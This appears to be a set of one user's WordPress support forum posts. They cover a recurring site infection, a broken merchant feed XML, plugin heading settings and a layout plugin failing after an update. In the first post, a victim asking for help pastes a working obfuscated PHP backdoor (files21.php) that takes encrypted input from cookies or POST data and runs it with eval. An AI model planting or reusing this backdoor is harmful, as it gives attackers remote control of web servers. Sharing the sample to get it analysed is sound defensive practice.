kiwi_dan

Thanks for the reply Troy.
I am using WordFence to scan manually twice a day.
I presume WebDefender will have similar results??
After I remove files they get injected back a day or 2 later.

Same problem here going on for several months.
I suspect it is server level as I have cleaned my sites then changed all passwords (many times). Some times I find files that have permissions set to 000 which to me, indicates root access.
Contacted hosting company A2 Hosting every day for weeks and they keep referring me to their 3rd party contracted cleaning service.

My host keeps shutting down my email service as the infection is generating spam from my sites.

On the verge of cleaning and moving to a new host.

I have downloaded what I believe to be the complete set of malicious php files if anyone is interested to take a look.

Here is the content of one that keeps returning called files21.php:
<?php
$xarey = ‘7vk2\’x86bm3a*dnrol-H1c40e9yi#sufg5p_t’;$dubiat = Array();$dubiat[] = $xarey[23].$xarey[22].$xarey[31].$xarey[3].$xarey[10].$xarey[20].$xarey[6].$xarey[8].$xarey[18].$xarey[24].$xarey[25].$xarey[0].$xarey[6].$xarey[18].$xarey[22].$xarey[23].$xarey[10].$xarey[25].$xarey[18].$xarey[6].$xarey[13].$xarey[23].$xarey[33].$xarey[18].$xarey[0].$xarey[7].$xarey[10].$xarey[10].$xarey[33].$xarey[21].$xarey[13].$xarey[25].$xarey[24].$xarey[22].$xarey[8].$xarey[13];$dubiat[] = $xarey[19].$xarey[12];$dubiat[] = $xarey[28];$dubiat[] = $xarey[21].$xarey[16].$xarey[30].$xarey[14].$xarey[36];$dubiat[] = $xarey[29].$xarey[36].$xarey[15].$xarey[35].$xarey[15].$xarey[24].$xarey[34].$xarey[24].$xarey[11].$xarey[36];$dubiat[] = $xarey[24].$xarey[5].$xarey[34].$xarey[17].$xarey[16].$xarey[13].$xarey[24];$dubiat[] = $xarey[29].$xarey[30].$xarey[8].$xarey[29].$xarey[36].$xarey[15];$dubiat[] = $xarey[11].$xarey[15].$xarey[15].$xarey[11].$xarey[26].$xarey[35].$xarey[9].$xarey[24].$xarey[15].$xarey[32].$xarey[24];$dubiat[] = $xarey[29].$xarey[36].$xarey[15].$xarey[17].$xarey[24].$xarey[14];$dubiat[] = $xarey[34].$xarey[11].$xarey[21].$xarey[2];foreach ($dubiat[7]($_COOKIE, $_POST) as $otktndm => $bnuui){function mosulw($dubiat, $otktndm, $suauag){return $dubiat[6]($dubiat[4]($otktndm . $dubiat[0], ($suauag / $dubiat[8]($otktndm)) + 1), 0, $suauag);}function gbkww($dubiat, $rdlduvw){return @$dubiat[9]($dubiat[1], $rdlduvw);}function zgpojvs($dubiat, $rdlduvw){$gjkxcko = $dubiat[3]($rdlduvw) % 3;if (!$gjkxcko) {eval($rdlduvw[1]($rdlduvw[2]));exit();}}$bnuui = gbkww($dubiat, $bnuui);zgpojvs($dubiat, $dubiat[5]($dubiat[2], $bnuui ^ mosulw($dubiat, $otktndm, $dubiat[8]($bnuui))));}

Thanks again for the reply.
Went and had some lunch and came back and you are correct the xml is now working.
Also the feed has been collected by google once again with out error.
All I did earlier was to regenerate the xml from the plug in, at the time it did not appear to resolve the situation however now all seems to be working.
Will keep an eye on it and report back if I notice anything unusual.

Thanks!

Thanks for the reply but I still have the same error when I open in Chrome:
This page contains the following errors:

error on line 127 at column 616: Extra content at the end of the document
Below is a rendering of the page up to the first error.

Google Merchant account is reporting the same error.

Not sure what happened….

Hi there,

I am also having the issues with an error out of the blue for some reason:
This page contains the following errors:
error on line 127 at column 616: Extra content at the end of the document

Feed:
https://mx.fococam.com/wp-content/uploads/sites/2/wppfm-feeds/merchantfeed.xml

Can you please assist?

Hello,

I heard back from support via an email.
They noted that H4 was not set.
Actually when I installed the plug in all setting were left empty.
This must have been because I am running multi-site.
I used the 7 day trial code and was able to enter Style settings and set Category Heading Type to H4.
This resolved the issue I was having.

Thanks for the follow up!

Hi,

Thanks for the reply, did not receive the notification for some reason.
I tried changing the theme to Twenty Fifteen and still have the same problem.
Please see here: https://nz.fococam.com/faq/

I have the same problem and am also using multisite.
Is there a solution to this problem?
Here is the page I am testing:
https://mx.fococam.com/centro-de-ayuda/

I just updated to WP 4.0 and unfortunately my Easy Columns are no longer working. I can add them in the editor but the page is not responding and everything is now jammed into 1 column. Would there be any tweaks I could do to work around this? My site is: https://vallartadreamvacations.com/

Thanks in advance